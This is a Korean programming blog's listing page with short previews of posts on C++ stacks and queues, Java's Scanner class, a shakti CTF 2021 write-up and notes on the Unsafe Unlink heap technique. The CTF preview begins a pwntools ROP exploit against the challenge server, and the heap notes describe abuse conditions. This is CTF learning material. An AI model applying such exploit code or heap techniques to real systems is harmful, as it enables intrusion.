반응형
[자료구조] 스택과 큐 포스팅 썸네일 이미지

프로그래밍

[자료구조] 스택과 큐

먼저 스택과 큐를 C++를 이용해서 쉽게 구현하기 위해서는 템플릿 함수에 대해서 알고 넘어가야 한다. 템플릿 함수에 대해 간략히 소개해보겠다. 템플릿(Template) 함수란 템플릿 함수란 함수의 return형과 인자형을 int, float, double, char ...등등 여러가지 형으로 자유자재로 변환할 수 있다. 이것을 이용하면 C언어에서 같은 기능을 하지만 return형이 다른 함수들을 여러개 작성할 필요가 없다. template void SelectionSort(T *a, const int n){ for (int i=0;i

2021.04.12 게시됨

[shakti CTF2021] signal dROPer 포스팅 썸네일 이미지

War Games/ctf-review

[shakti CTF2021] signal dROPer

문제소스 보호기법 문제 분석 및 페이로드 문제 분석 text file은 살아있으나 아이다 데이터베이스 파일이 날라가서 죄송합니다ㅠㅠㅠ 익스플로잇 코드를 보시면 이해가 빠르실 겁니다. from pwn import * #context.log_level='critical' context.log_level='debug' #p=process("./chall") e=ELF("./chall") puts_plt=e.plt['puts'] puts_got=e.got['puts'] pr=0x0000000000400c03 #pop rdi; ret; dns,port="34.121.211.139", 2222 p=remote(dns,port) for i in range(13): p.sendlineafter("Your Choice ..

2021.04.12 게시됨

[JAVA] Scanner Class 사용법 포스팅 썸네일 이미지

프로그래밍

[JAVA] Scanner Class 사용법

Scanner란? C언어의 scanf함수 기능과 비슷한 자바 클래스이다. JDK 1.5부터 사용 가능하고 정수 실수 문자열 등을 입력받을 수 있다. Scanner사용법 import java.util.Scanner; Scanner클래스를 사용하기 위해서는 C언어의 #include 와 같이 import java.util.Scanner;구문을 맨 위에 추가해주어야 한다. 이 과정을 마치면 Scanner 객체를 생성하고 객체에 해당하는 메소드를 사용하는 순서로 키보드의 입력값을 전달받을 수 있다. import java.util.Scanner; public class test{ public static void main(String[] args){ Scanner scanner=new Scanner(System.i..

2021.04.10 게시됨

Unsafe Unlink 정리 포스팅 썸네일 이미지

Pwnable/포너블 정리

Unsafe Unlink 정리

Unsafe Unlink 쓸 수 있는 상황 1. malloc으로 할당 받은 힙의 주소를 전역 변수에서 관리해야 함. 2. 힙 최소 2개이상에 두 번째 힙의 헤더를 조작할 수 있어야 한다. Unlink의 역할 Unlink는 freelist에 있는 힙 청크 중에 중간에 끼어 있는 청크에 메모리가 할당될 때 힙 청크 리스트 노드들 간의 연결관계를 정리해주는 역할을 함. 아래 그림은 P의 위치에 malloc, calloc으로 메모리가 할당될 때 Unlink가 수행하는 동작이다. UnLink 발생 조건 Unlink과정에서 발생하는 취약점을 알기 위해서 소스코드를 분석해보겠다. #define unlink(AV, P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ if (__builtin_e..

2021.04.07 게시됨

반응형